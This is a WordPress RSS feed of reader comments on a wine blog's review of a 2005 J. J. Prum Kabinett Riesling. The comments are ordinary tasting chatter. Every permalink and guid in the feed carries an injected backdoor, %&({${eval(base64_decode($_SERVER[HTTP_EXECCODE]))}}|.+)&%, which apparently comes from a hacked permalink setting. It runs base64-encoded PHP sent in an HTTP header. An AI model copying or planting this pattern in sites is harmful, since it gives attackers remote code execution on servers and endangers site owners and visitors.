<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/2.2.1" -->
<rss version="2.0" 
	xmlns:content="http://purl.org/rss/1.0/modules/content/">
<channel>
	<title>Comments on: 2005 J. J. Prum Kabinett Riesling ($30)</title>
	<link>http://chateaupetrogasm.com/2009/04/20/2005-j-j-prum-kabinett-riesling-30/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
	<description>The Wine Blog of Tasting Notes Through Images</description>
	<pubDate>Sat, 11 Feb 2012 20:31:28 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.2.1</generator>

	<item>
		<title>By: dhonig</title>
		<link>http://chateaupetrogasm.com/2009/04/20/2005-j-j-prum-kabinett-riesling-30/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-3428</link>
		<author>dhonig</author>
		<pubDate>Wed, 22 Apr 2009 14:09:43 +0000</pubDate>
		<guid>http://chateaupetrogasm.com/2009/04/20/2005-j-j-prum-kabinett-riesling-30/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-3428</guid>
		<description>this got an 89 from Fine Wine Review.  Can you please repost at The 89 Project?</description>
		<content:encoded><![CDATA[<p>this got an 89 from Fine Wine Review.  Can you please repost at The 89 Project?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Montesi</title>
		<link>http://chateaupetrogasm.com/2009/04/20/2005-j-j-prum-kabinett-riesling-30/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-3426</link>
		<author>Montesi</author>
		<pubDate>Tue, 21 Apr 2009 00:58:31 +0000</pubDate>
		<guid>http://chateaupetrogasm.com/2009/04/20/2005-j-j-prum-kabinett-riesling-30/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-3426</guid>
		<description>It's really a great review. Which has driven me to drink Riesling all night.</description>
		<content:encoded><![CDATA[<p>It&#8217;s really a great review. Which has driven me to drink Riesling all night.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: BAS - Founder</title>
		<link>http://chateaupetrogasm.com/2009/04/20/2005-j-j-prum-kabinett-riesling-30/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-3424</link>
		<author>BAS - Founder</author>
		<pubDate>Mon, 20 Apr 2009 23:56:11 +0000</pubDate>
		<guid>http://chateaupetrogasm.com/2009/04/20/2005-j-j-prum-kabinett-riesling-30/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-3424</guid>
		<description>I think the "flashiness" is reflected in the two images, which not only as you have said reflect the acidity and sweetness, but the flashiness (left) and bizarre calmness (right).  More importantly, these pictures are of the Brazilian Carnival, which factored into much of the conversation the evening we drank this wine.  That's the thing about wine: one's impression of it is never determined exclusively by what is in the bottle!

Cheers, 
BAS</description>
		<content:encoded><![CDATA[<p>I think the &#8220;flashiness&#8221; is reflected in the two images, which not only as you have said reflect the acidity and sweetness, but the flashiness (left) and bizarre calmness (right).  More importantly, these pictures are of the Brazilian Carnival, which factored into much of the conversation the evening we drank this wine.  That&#8217;s the thing about wine: one&#8217;s impression of it is never determined exclusively by what is in the bottle!</p>
<p>Cheers,<br />
BAS</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Montesi</title>
		<link>http://chateaupetrogasm.com/2009/04/20/2005-j-j-prum-kabinett-riesling-30/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-3423</link>
		<author>Montesi</author>
		<pubDate>Mon, 20 Apr 2009 23:50:44 +0000</pubDate>
		<guid>http://chateaupetrogasm.com/2009/04/20/2005-j-j-prum-kabinett-riesling-30/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comment-3423</guid>
		<description>I like this one. The two images come together nicely, creating a cohesive statement. Acidity and Sweetness. But is it really that flashy a wine?</description>
		<content:encoded><![CDATA[<p>I like this one. The two images come together nicely, creating a cohesive statement. Acidity and Sweetness. But is it really that flashy a wine?</p>
]]></content:encoded>
	</item>
</channel>
</rss>

